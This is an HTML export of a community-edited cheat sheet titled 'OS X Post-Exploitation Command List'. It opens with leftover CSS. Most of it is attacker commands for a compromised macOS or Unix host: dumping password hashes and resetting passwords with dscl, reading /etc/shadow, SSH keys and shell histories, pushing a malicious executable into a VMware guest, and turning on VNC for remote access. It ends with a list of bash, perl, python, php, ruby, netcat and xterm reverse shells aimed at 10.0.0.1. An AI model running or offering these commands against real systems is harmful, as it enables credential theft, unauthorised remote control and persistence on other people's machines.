"}ul.lst-kix_seize0be9ad8-6{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-2{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-3{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-0{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-1{list-style-type:none}.lst-kix_or88qs11lkbv-7>li{counter-increment:lst-ctn-kix_or88qs11lkbv-7}.lst-kix_ethjg2n46ca2-2>li:before{content:"\0025a0 "}.lst-kix_ua0gux6zikyp-3>li:before{content:"\0025cf "}.lst-kix_musighm1n6p1-2>li:before{content:"\0025a0 "}.lst-kix_ki4j2759trga-3>li:before{content:"\0025cf "}.lst-kix_d3ox7kpi3zpa-8>li:before{content:"\0025a0 "}.lst-kix_or88qs11lkbv-0>li:before{content:"" counter(lst-ctn-kix_or88qs11lkbv-0,decimal) ". "}.lst-kix_h8m1hu30f99u-5>li{counter-increment:lst-ctn-kix_h8m1hu30f99u-5}.lst-kix_q5e1nglesn62-6>li:before{content:"\0025cf "}.lst-kix_f9q47zawa8j-2>li:before{content:"\0025a0 "}ul.lst-kix_q5e1nglesn62-8{list-style-type:none}.lst-kix_r05b0y6xrge5-0>li:before{content:"\0025cf "}.lst-kix_2o6fuql08rcr-8>li:before{content:"\0025a0 "}.lst-kix_31jwj2uxz50p-8>li:before{content:"\0025a0 "}.lst-kix_i0kmcb85sveg-6>li:before{content:"\0025cf "}ol.lst-kix_h8m1hu30f99u-5.start{counter-reset:lst-ctn-kix_h8m1hu30f99u-5 0}.lst-kix_ki4j2759trga-4>li:before{content:"\0025cb "}.lst-kix_omtzj9mkx3kb-8>li:before{content:"\0025a0 "}ul.lst-kix_vsr8by87yqlf-2{list-style-type:none}ul.lst-kix_vsr8by87yqlf-3{list-style-type:none}ul.lst-kix_vsr8by87yqlf-4{list-style-type:none}ul.lst-kix_vsr8by87yqlf-5{list-style-type:none}ul.lst-kix_vsr8by87yqlf-0{list-style-type:none}.lst-kix_q5e1nglesn62-4>li:before{content:"\0025cb "}ul.lst-kix_vsr8by87yqlf-1{list-style-type:none}ul.lst-kix_vsr8by87yqlf-7{list-style-type:none}ul.lst-kix_vsr8by87yqlf-6{list-style-type:none}ul.lst-kix_vsr8by87yqlf-8{list-style-type:none}.lst-kix_ev1g65354q1h-0>li:before{content:"\0025cf "}.lst-kix_f9q47zawa8j-0>li:before{content:"\0025cf "}.lst-kix_omtzj9mkx3kb-2>li:before{content:"\0025a0 "}.lst-kix_ua0gux6zikyp-1>li:before{content:"\0025cb "}.lst-kix_l8prd4xpyh3m-4>li:before{content:"\0025cb "}.lst-kix_31jwj2uxz50p-6>li:before{content:"\0025cf "}.lst-kix_q5e1nglesn62-7>li:before{content:"\0025cb "}.lst-kix_q6h46tz6epws-2>li:before{content:"\0025a0 "}.lst-kix_olrmi2yr0w33-7>li:before{content:"\0025cb "}ul.lst-kix_ki4j2759trga-5{list-style-type:none}ul.lst-kix_ki4j2759trga-4{list-style-type:none}.lst-kix_vsr8by87yqlf-3>li:before{content:"\0025cf "}.lst-kix_r05b0y6xrge5-2>li:before{content:"\0025a0 "}ul.lst-kix_ki4j2759trga-7{list-style-type:none}.lst-kix_2o6fuql08rcr-2>li:before{content:"\0025a0 "}ul.lst-kix_ki4j2759trga-6{list-style-type:none}ul.lst-kix_ki4j2759trga-8{list-style-type:none}.lst-kix_9oqc9yoq2b4m-6>li:before{content:"\0025cf "}ul.lst-kix_ki4j2759trga-1{list-style-type:none}ul.lst-kix_ki4j2759trga-0{list-style-type:none}.lst-kix_or88qs11lkbv-0>li{counter-increment:lst-ctn-kix_or88qs11lkbv-0}ul.lst-kix_ki4j2759trga-3{list-style-type:none}ul.lst-kix_ki4j2759trga-2{list-style-type:none}.lst-kix_f9q47zawa8j-3>li:before{content:"\0025cf "}.lst-kix_2o6fuql08rcr-5>li:before{content:"\0025a0 "}.lst-kix_h8m1hu30f99u-0>li:before{content:"" counter(lst-ctn-kix_h8m1hu30f99u-0,decimal) ". "}ol.lst-kix_h8m1hu30f99u-8.start{counter-reset:lst-ctn-kix_h8m1hu30f99u-8 0}.lst-kix_i0kmcb85sveg-2>li:before{content:"\0025a0 "}.lst-kix_seize0be9ad8-0>li:before{content:"\0025cf "}.lst-kix_vsr8by87yqlf-2>li:before{content:"\0025a0 "}ul.lst-kix_d3ox7kpi3zpa-4{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-5{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-6{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-7{list-style-type:none}ul.lst-kix_d3ox7kpi3zpa-8{list-style-type:none}.lst-kix_or88qs11lkbv-4>li{counter-increment:lst-ctn-kix_or88qs11lkbv-4}.lst-kix_ki4j2759trga-1>li:before{content:"\0025cb "}.lst-kix_q5e1nglesn62-3>li:before{content:"\0025cf "}.lst-kix_vsr8by87yqlf-0>li:before{content:"\0025cf "}.lst-kix_l8prd4xpyh3m-6>li:before{content:"\0025cf "}.lst-kix_ethjg2n46ca2-5>li:before{content:"\0025a0 "}.lst-kix_q6h46tz6epws-5>li:before{content:"\0025a0 "}ol.lst-kix_h8m1hu30f99u-2.start{counter-reset:lst-ctn-kix_h8m1hu30f99u-2 0}ol{margin:0;padding:0}.c14{vertical-align:baseline;color:#000000;font-size:11pt;font-style:normal;font-family:"Arial";text-decoration:none;font-weight:normal}.c15{vertical-align:baseline;color:#000000;font-size:9pt;font-style:normal;font-family:"Arial";text-decoration:none}.c3{line-height:1.15;padding-top:18pt;text-align:left;direction:ltr;padding-bottom:4pt}.c1{padding-left:0pt;direction:ltr;margin-left:36pt}.c4{padding-left:0pt;direction:ltr;margin-left:72pt}.c27{max-width:504pt;background-color:#ffffff;padding:54pt 54pt 54pt 54pt}.c10{direction:ltr;margin-left:18pt}.c0{height:11pt;direction:ltr}.c29{color:#222222;background-color:#ffffff}.c6{line-height:1.15;text-align:left}.c16{text-indent:36pt;text-align:right}.c2{padding-top:0pt;padding-bottom:0pt}.c18{color:#333333;background-color:#ffffff}.c20{line-height:1.15;text-align:right}.c22{color:#000099;text-decoration:underline}.c12{padding-left:0pt;margin-left:4.5pt}.c5{color:inherit;text-decoration:inherit}.c8{text-decoration:underline;font-weight:bold}.c7{margin:0;padding:0}.c9{color:#1155cc;text-decoration:underline}.c21{padding-top:0pt;padding-bottom:10pt}.c30{line-height:1.15}.c28{height:18pt}.c23{font-size:14pt}.c25{font-size:24pt}.c17{color:#ff0000}.c13{font-weight:bold}.c19{text-align:center}.c24{text-align:justify}.c11{direction:ltr}.c26{font-size:9pt}.title{padding-top:24pt;line-height:1.15;text-align:left;color:#000000;font-size:36pt;font-family:"Arial";font-weight:bold;padding-bottom:6pt}.subtitle{padding-top:18pt;line-height:1.15;text-align:left;color:#666666;font-style:italic;font-size:24pt;font-family:"Georgia";padding-bottom:4pt}li{color:#000000;font-size:11pt;font-family:"Arial"}p{color:#000000;font-size:11pt;margin:0;font-family:"Arial"}h1{padding-top:24pt;line-height:1.15;text-align:left;color:#000000;font-size:24pt;font-family:"Arial";font-weight:bold;padding-bottom:6pt}h2{padding-top:18pt;line-height:1.15;text-align:left;color:#000000;font-size:18pt;font-family:"Arial";font-weight:bold;padding-bottom:4pt}h3{padding-top:14pt;line-height:1.15;text-align:left;color:#000000;font-size:14pt;font-family:"Arial";font-weight:bold;padding-bottom:4pt}h4{padding-top:12pt;line-height:1.15;text-align:left;color:#000000;font-size:12pt;font-family:"Arial";font-weight:bold;padding-bottom:2pt}h5{padding-top:11pt;line-height:1.15;text-align:left;color:#000000;font-size:11pt;font-family:"Arial";font-weight:bold;padding-bottom:2pt}h6{padding-top:10pt;line-height:1.15;text-align:left;color:#000000;font-size:10pt;font-family:"Arial";font-weight:bold;padding-bottom:2pt}</style></head><body class="c27"><p class="c2 c11 c16"><span class="c25 c13">OS X Po</span><span class="c13 c25">st-Exploitation Command List</span></p><p class="c2 c19 c11"><span class="c23">If for any reason you cannot access/edit these files in the future, please contact </span><span class="c22 c23">[email protected]</span></p><p class="c2 c19 c11"><span class="c23">You can download these files in any format using Google Doc’s File->Download As method</span></p><p class="c2 c19 c11 c30"><span class="c23">If you are viewing this on anything other than Google Docs then you can get access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and Windows docs here: </span><span class="c22 c23"><a class="c5" href="http://www.google.com/url?q=http%3A%2F%2Fbit.ly%2Fnuc0N0&sa=D&sntz=1&usg=AFQjCNFOb4cJGVhylf__0c_PDNKgKS0mpw">http://bit.ly/nuc0N0</a></span></p><p class="c2 c11 c19"><span class="c17 c23">DISCLAIMER: Anyone can edit these docs, and all that entails and implies</span></p><h4 class="c19 c11"><a name="h.n5c6jwvxwrzn"></a><span class="c17"> </span></h4><p class="c0 c19"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><p class="c0 c2"><span></span></p><h2 class="c11"><a name="h.fzpfd5vtaii5"></a><span>Table of Contents</span></h2><p class="c0"><span></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.fzpfd5vtaii5">Table of Contents</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.5y4eyawqsnkb">Blind Files</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.4a2l63h4nc0g">SYSTEM</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.rex4ao8g82py">Networking</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.tetuy5g88en6">Configs</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.yw4n75cerl50">Packages</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.qye0dwlq54m">Finding Important Files</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.ylx0u55ysmk0">Files to pull</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.t52kkp9zuadd">Remote System Access</a></span></p><p class="c10"><span class="c9"><a class="c5" href="#h.4hig80dc0yjf">Priv</a></span></p><p class="c0 c6 c21"><span class="c14"></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><p class="c0"><span></span></p><h2 class="c11"><a name="h.5y4eyawqsnkb"></a><span>Blind Files </span></h2><p class="c11"><span>(things to pull when all you can do is blindly read) LFI/dir traversal</span></p><ul class="c7 lst-kix_65hgw5c06g5v-0 start"><li class="c1 c6 c2"><span>/etc/resolv.conf (everyone always has read on this and it wont trigger an IDS)</span></li></ul><p class="c0"><span></span></p><h2 class="c11"><a name="h.4a2l63h4nc0g"></a><span>SYSTEM</span></h2><ul class="c7 lst-kix_olrmi2yr0w33-0 start"><li class="c1"><span>uname -a</span></li><li class="c1"><span>sw_vers -productName</span></li><li class="c1"><span>sw_vers -productVersion</span></li><li class="c1"><span>system_profiler</span></li><li class="c1"><span>defaults read com.apple.recentitems RecentApplications | grep Name</span></li><li class="c1"><span>defaults read com.apple.recentitems RecentDocuments | grep Name</span></li><li class="c1"><span>mdfind</span></li><li class="c1 c6 c2"><span>id</span></li><li class="c1 c6 c2"><span>printenv</span></li><li class="c1"><span>who</span></li><li class="c1"><span>ps aux</span></li><li class="c1"><span>ps ea</span></li><li class="c1"><span>e</span><span>bob (read password hash of bob)</span></li><li class="c1"><span class="c29">dscl localhost -read /Search/Users/bob ShadowHashData | tail -1 | xxd -r -p | plutil -convert xml1 -o - - (Dump in workable format)</span></li><li class="c1 c6 c2"><span>dscl localhost -passwd /Search/Users/bob (change bob’s password without needing current)</span></li><li class="c1 c6 c2"><span>dscl . -read /Users/<username> ShadowHashData | cut -f9-25 -d" " | cut -f3 -d ":" | tr -d ' '</span></li><li class="c1 c6 c2"><span>/Library/Application Support/VMware Fusion/vmrun list</span></li></ul><ul class="c7 lst-kix_olrmi2yr0w33-1 start"><li class="c4"><span>/Library/Application Support/VMware Fusion/vmrun CopyFileFromHostToGuest windowsmalicious.exe aWindowsVM</span></li><li class="c4 c6 c2"><span>/Library/Application Support/VMware Fusion/vmrun captureScreen WindowsVM</span></li></ul><ul class="c7 lst-kix_olrmi2yr0w33-0"><li class="c1 c6 c2"><span>mdutil -i off / (turn off SpotLight indexing on / - replace ‘off’ with ‘on’ to turn it back on - useful if you want to not have any files you dump locally indexed - replace ‘/’ with ‘volumeName’ if not working on boot volume)</span></li><li class="c1"><span>Snow Leopard and Lion</span></li></ul><ul class="c7 lst-kix_olrmi2yr0w33-1 start"><li class="c4"><span>dscacheutil -q user</span></li><li class="c4"><span>dscacheutil -q group</span></li></ul><ul class="c7 lst-kix_olrmi2yr0w33-0"><li class="c1"><span>Tiger</span></li></ul><ul class="c7 lst-kix_olrmi2yr0w33-1 start"><li class="c4"><span>lookupd -q </span><span>user</span></li><li class="c4 c6 c2"><span>lookupd -q group<br></span></li></ul><h2 class="c11"><a name="h.rex4ao8g82py"></a><span>Networking</span></h2><ul class="c7 lst-kix_hz2ikpn4wdrn-0 start"><li class="c1"><span>ifconfig</span></li><li class="c1"><span>netstat -np tcp</span></li><li class="c1 c6 c2"><span>netstat -np udp</span></li></ul><p class="c0"><span></span></p><h2 class="c11"><a name="h.tetuy5g88en6"></a><span>Configs</span></h2><ul class="c7 lst-kix_ethjg2n46ca2-0 start"><li class="c1"><span>ls -alh /private/etc/</span></li><li class="c1"><span>ls -alh /Library/Application Support/VMware Fusion/</span></li></ul><p class="c0"><span></span></p><h2 class="c11"><a name="h.yw4n75cerl50"></a><span>Packages</span></h2><ul class="c7 lst-kix_r05b0y6xrge5-0 start"><li class="c1"><span>port installed</span></li><li class="c1"><span>ls -alh /Applications/</span></li></ul><p class="c0"><span></span></p><h2 class="c11"><a name="h.qye0dwlq54m"></a><span>Finding Important Files</span></h2><ul class="c7 lst-kix_ev1g65354q1h-0 start"><li class="c1"><span>ls -ma ~/</span></li><li class="c1"><span>ls -alh /Users/</span></li><li class="c1"><span>ls -alh /Users/*/.ssh/</span></li><li class="c1"><span>ls -alh /Users/*/.gnupg/</span></li><li class="c1 c6 c2"><span>ls -alh /</span><span>Volumes</span><span>/</span></li></ul><p class="c0"><span></span></p><h2 class="c3"><a name="h.ylx0u55ysmk0"></a><span>Files to Pull</span></h2><h2 class="c3 c28"><a name="h.j9nyyhb6vzjz"></a></h2><h2 class="c3"><a name="h.t52kkp9zuadd"></a><span>Remote System Access</span></h2><ul class="c7 lst-kix_ev1g65354q1h-0"><li class="c1 c6 c2"><span class="c22"><a class="c5" href="http://www.google.com/url?q=http%3A%2F%2Fsupport.apple.com%2Fkb%2FHT2370&sa=D&sntz=1&usg=AFQjCNFZsgZANoEomo3UiRqWzl9ILQeRsw">http://support.apple.com/kb/HT2370</a></span><span> instructions to use kickstart to turn on vnc from the commandline (only works as an admin)</span></li><li class="c1 c6 c2"><span class="c18">$ sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -users admin -privs -all -restart -agent -menu (enable vnc access)</span></li><li class="c1 c6 c2"><span class="c18">$ sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off (kill vnc server)</span></li></ul><p class="c0 c6 c2"><span></span></p><p class="c0 c6 c2"><span></span></p><h2 class="c11"><a name="h.4hig80dc0yjf"></a><span>Priv</span></h2><ul class="c7 lst-kix_2o6fuql08rcr-0 start"><li class="c1 c6 c2"><span>cat /Library/Application Support/Objective Development/Little Snitch/rules.xpl</span></li><li class="c1 c6 c2"><span>ls</span></li></ul><p class="c0 c6 c2"><span class="c13"></span></p><p class="c0 c6 c2"><span class="c13"></span></p><p class="c6 c2 c11"><span class="c13">The current Linux list: </span></p><p class="c6 c2 c11"><span class="c13">(lets remove anything that doesn’t work (or doesn’t mean anything) on OS X),</span><span class="c8"> </span></p><p class="c0 c6 c2"><span class="c8"></span></p><p class="c6 c2 c11"><span class="c8">Please indicate the version of OS X on which the command works)</span></p><p class="c0 c6 c2"><span></span></p><p class="c6 c2 c11"><span># System</span></p><ul class="c7 lst-kix_q6h46tz6epws-0 start"><li class="c1"><span>uname -a</span></li><li class="c1"><span>ps aux</span></li><li class="c1"><span>ps -aef</span></li><li class="c1"><span>id</span></li><li class="c1"><span>arch</span></li><li class="c1"><span>w</span></li><li class="c1"><span>who -a</span></li><li class="c1"><span>gcc -v</span></li><li class="c1"><span>mysql --version</span></li><li class="c1"><span>perl -v</span></li><li class="c1"><span>ruby -v</span></li><li class="c1"><span>python --version</span></li><li class="c1"><span>df -k</span></li><li class="c1"><span>mount</span></li><li class="c1 c6 c2"><span>last -a</span></li><li class="c1"><span>lastlogin (*bsd)</span></li><li class="c1"><span>getenforce <- does not work on Lion no idea if this work in previous versions</span></li><li class="c1 c6 c2"><span>dmesg</span></li><li class="c1"><span>lsusb<- does not work on Lion no idea it this work on previous versions</span></li><li class="c1"><span>lshw <- does not work on Lion no idea it this work on previous versions</span></li><li class="c1 c6 c2"><span>free -m <- does not work on Lion no idea it this work on previous versions</span></li><li class="c1"><span>du -h --max-depth=1 /</span></li><li class="c1"><span>which nmap (see if it’s already installed)</span></li><li class="c1"><span>locate bin/nmap</span></li><li class="c1"><span>which nc (see if it’s already installed)</span></li><li class="c1"><span>locate bin/<whatever you want></span></li><li class="c1"><span>whoami</span></li><li class="c1"><span>jps -l</span></li><li class="c1"><span>java -version</span></li></ul><p class="c0 c6 c2"><span></span></p><p class="c6 c2 c11"><span># Networking</span></p><ul class="c7 lst-kix_q5e1nglesn62-0 start"><li class="c1"><span>hostname -f</span></li><li class="c1"><span>ip addr show</span></li><li class="c1"><span>ifconfig -a</span></li><li class="c1"><span>route -n</span></li><li class="c1"><span>cat /etc/network/interfaces</span></li><li class="c1"><span>iptables -L -n</span></li><li class="c1"><span>netstat -anop</span></li><li class="c1"><span>netstat -r</span></li><li class="c1"><span>netstat -nltupw (root with raw sockets)</span></li><li class="c1"><span>arp -a</span></li><li class="c1"><span>lsof -nPi</span></li></ul><p class="c0 c6 c2"><span></span></p><p class="c6 c2 c11"><span># Configs</span></p><ul class="c7 lst-kix_c3s4z6meqxnr-0 start"><li class="c1"><span>ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null</span></li><li class="c1"><span>cat /etc/issue{,.net}</span></li><li class="c1"><span>cat /etc/passwd</span></li><li class="c1"><span>cat /etc/shadow (gotta try..)</span></li><li class="c1"><span>cat /etc/shadow~ # (sometimes there when edited with gedit)</span></li><li class="c1"><span>cat /etc/master.passwd</span></li><li class="c1"><span>cat /etc/group</span></li><li class="c1"><span>cat /etc/hosts</span></li><li class="c1"><span>cat /etc/crontab</span></li><li class="c1"><span>cat /etc/sysctl.conf</span></li><li class="c1"><span>for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)</span></li><li class="c1"><span>cat /etc/resolv.conf</span></li><li class="c1 c6 c2"><span>cat /etc/samba/smb.conf</span></li><li class="c1"><span>pdbedit -L -w</span></li><li class="c1"><span>pdbedit -L -v</span></li><li class="c1"><span>cat /etc/exports</span></li><li class="c1"><span>cat /etc/auto.master</span></li><li class="c1"><span>cat /etc/auto_maste</span></li><li class="c1"><span>cat /etc/fstab</span></li><li class="c1"><span>cat /etc/exports</span></li><li class="c1"><span>find /etc/sysconfig/ -type f -exec cat {} \;</span></li><li class="c1 c6 c2"><span>cat /etc/sudoers</span></li></ul><p class="c0 c6 c2"><span></span></p><p class="c11 c24"><span># Package Sources</span></p><ul class="c7 lst-kix_omtzj9mkx3kb-0 start"><li class="c1"><span>cat /etc/apt/sources.list</span></li></ul><ul class="c7 lst-kix_d3ox7kpi3zpa-0 start"><li class="c1"><span>ls -l /etc/yum.repos.d/</span></li><li class="c1"><span>cat /etc/yum.conf</span></li></ul><p class="c0"><span></span></p><p class="c6 c2 c11"><span># Finding Important Files</span></p><ul class="c7 lst-kix_l8prd4xpyh3m-0 start"><li class="c1"><span>find /var/log -type f -exec ls -la {} \;</span></li><li class="c1"><span>ls -alhtr /mnt</span></li><li class="c1"><span>ls -alhtr /Volumes</span></li><li class="c1"><span>ls -alhtr /tmp</span></li><li class="c1"><span>ls -alhtr /home</span></li><li class="c1"><span>ls /Users/*/.ssh/*</span></li><li class="c1"><span>find /home -type f -iname '.*history'</span></li><li class="c1"><span>ls -lart /etc/rc.d/</span></li><li class="c1"><span>locate tar | grep [.]tar$</span></li><li class="c1"><span>locate tgz | grep [.]tgz$</span></li><li class="c1"><span>locate sql l grep [.]sql$</span></li><li class="c1"><span>locate settings | grep [.]php$</span></li><li class="c1"><span>locate config.inc | grep [.]php$</span></li><li class="c1"><span>ls /Users/*/id*</span></li><li class="c1"><span>locate .properties | grep [.]properties # java config files</span></li><li class="c1"><span>locate .xml | grep [.]xml # java/.net config files</span></li><li class="c1"><span>find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm -4000 # find suids</span></li></ul><p class="c0 c6 c2"><span></span></p><p class="c6 c2 c11"><span># Per User</span></p><ul class="c7 lst-kix_60cve0a2qt70-0 start"><li class="c1"><span>ls -alh /Users/*/</span></li><li class="c1"><span>ls -alh /Users/*/.ssh/</span></li><li class="c1"><span>cat /Users/*/.ssh/authorized_keys</span></li><li class="c1"><span>cat /Users/*/.ssh/known_hosts</span></li><li class="c1"><span>cat /Users/*/.*hist*</span></li><li class="c1"><span>find -type f /Users/*/.vnc /Users/*/.subversion</span></li><li class="c1"><span>grep ^ssh /Users/*/.*hist*</span></li><li class="c1"><span>grep ^telnet `/Users/*/.*hist*</span></li><li class="c1"><span>grep ^mysql /Users/*/.*hist*</span></li><li class="c1"><span>cat /Users/*/.viminfo</span></li></ul><ul class="c7 lst-kix_ki4j2759trga-0 start"><li class="c1"><span>sudo -l # if sudoers is not readable, this sometimes works per user</span></li><li class="c1"><span>crontab -l</span></li></ul><p class="c0 c6 c2"><span></span></p><p class="c6 c2 c11"><span># Priv (sudo’d or as root)</span></p><ul class="c7 lst-kix_31jwj2uxz50p-0 start"><li class="c1"><span>ls -alh /root/</span></li><li class="c1"><span>cat /etc/sudoers</span></li><li class="c1"><span>cat /etc/shadow</span></li><li class="c1"><span>cat /etc/master.passwd # OpenBSD</span></li><li class="c1"><span>cat /var/spool/cron/crontabs/*</span></li><li class="c1"><span>lsof -nPi</span></li><li class="c1"><span>ls /Users/*/.ssh/*</span></li></ul><p class="c0 c2 c6"><span></span></p><p class="c6 c2 c11"><span># Reverse Shell</span></p><p class="c6 c2 c11"><span>starting list sourced from:</span><span><a class="c5" href="http://www.google.com/url?q=http%3A%2F%2Fpentestmonkey.net%2Fcheat-sheet%2Fshells%2Freverse-shell-cheat-sheet&sa=D&sntz=1&usg=AFQjCNFxX7D4XrJV999xsFEVnml66qvHZA"> </a></span><span class="c22"><a class="c5" href="http://www.google.com/url?q=http%3A%2F%2Fpentestmonkey.net%2Fcheat-sheet%2Fshells%2Freverse-shell-cheat-sheet&sa=D&sntz=1&usg=AFQjCNFxX7D4XrJV999xsFEVnml66qvHZA">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></span></p><ul class="c7 lst-kix_ua0gux6zikyp-0 start"><li class="c1"><span>bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # No /dev/tcp on Mac OS X</span></li><li class="c1"><span>perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</span></li><li class="c1"><span>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span></li><li class="c1"><span>php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'</span></li><li class="c1"><span>ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</span></li></ul><ol class="c7 lst-kix_h8m1hu30f99u-0 start" start="1"><li class="c6 c2 c12 c11"><span>nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore</span></li></ol><ol class="c7 lst-kix_h8m1hu30f99u-1 start" start="1"><li class="c11 c12"><span>rm /tmp/;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f</span></li></ol><ul class="c7 lst-kix_ua0gux6zikyp-0"><li class="c12 c11"><span>xterm -display 10.0.0.1:1</span></li></ul><ul class="c7 lst-kix_ua0gux6zikyp-1 start"><li class="c12 c11"><span>Listener- Xnest :1</span></li><li class="c12 c11"><span>Add permission to connect- xhost +victimIPf</span></li></ul><div><p class="c2 c11 c20"><span class="c13 c26">OS X Post Exploitation Command List - Page: </span></p></div></body></html>